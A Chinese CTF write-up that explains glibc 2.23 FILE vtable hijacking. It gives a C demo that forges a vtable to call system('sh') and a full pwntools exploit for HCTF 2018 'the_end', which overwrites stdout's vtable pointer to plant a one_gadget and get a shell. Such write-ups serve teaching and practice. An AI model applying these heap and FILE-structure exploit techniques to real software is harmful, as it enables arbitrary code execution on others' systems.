通过之前的分析IO函数基本上都会取调用_IO_FILE_plus 的vtable里的函数指针,如果我们可以控制这个指针,就可以控制程序的执行流
glibc2.23
一种方法就是改vtable里的指针但是
2.23libc里的_IO_file_jumps不可写的
那就只能伪造整个伪造_IO_FILE_plus 里的vtable为我们可写可控制的区域,比如我们alloc的堆
#include <stdio.h> #define system_ptr 0x7ffff7a523a0;
int main(void) { FILE *fp; long long *vtable_addr,*fake_vtable;
fp=fopen("flag","rw"); fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8);
vtable_addr[0]=(long long)fake_vtable;
memcpy(fp,"sh",3);
fake_vtable[7]=system_ptr;
fwrite("hi",2,1,fp); }
|
fwrite函数会调用vtable里**__xsputn指向的libio/fileops.c里的_IO_new_file_xsputn**函数,传入的参数为文件流结构体_IO_FILE,数据目标地址,读取总字节数
2018 HCTF the_end
grxer@grxer /m/h/S/c/p/io_file> checksec the_end [*] '/mnt/hgfs/Share/ctfwiki/pwn/io_file/the_end' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
程序有五个字节的任意地址写,泄露了libc的基地址
hijack IO_2_1_stdout vtable _setbuf
程序最后调用了exit,前面对exit的sc解析调用 exit
后,会遍历 _IO_list_all
,挨个判断stderr stdout stdin
for (fp = (_IO_FILE *) _IO_list_all; fp; fp = fp->_chain) { if (! (fp->_flags & _IO_UNBUFFERED) && fp->_mode != 0) {
|
if条件成立会调用vtable
中 _setbuf
函数。_IO_UNBUFFERED为2
只有stdout符合条件,所有我们劫持这个
两个字节修改stdout的vtable到一个伪造的vtable上,这个vtable的+0x58处必须是一个libc中的地址,因为我们只剩下三字节节的修改权力
合适,所有选择0x7ffff7dd1968-0x58位置当作vtable距离stdin+0x30位置
再往vtable+0x58写入onegadget即可
由于关闭了输出流,cat flag > &0或exec 1>&0重定向流
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./the_end' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote('node4.buuoj.cn','25172') else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) dbio= lambda : gdb.attach(io) uu32 = lambda x : u32(x.ljust(4,b'\x00')) uu64 = lambda x : u64(x.ljust(8,b'\x00')) p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m") ru(b'a gift ') sleep_ad=int(ru(b','),16) p('sleep',sleep_ad) libc=LibcSearcher('sleep',sleep_ad) base=sleep_ad-libc.dump('sleep') p('base',base) onegadget=base+0xf02b0 stdin=libc.dump('_IO_2_1_stdin_')+base stdout=libc.dump('_IO_2_1_stdout_')+base # gdb.attach(io) # db('b exit') ru(b'\n') for i in range(2): s(p64(stdout+0xd8+i)) s(p8(p64(stdin+0x30)[i])) # dbio # gdb.attach(io) for i in range(3): s(p64(stdin+0x30+0x58+i)) s(p8(p64(onegadget)[i])) io.interactive()
|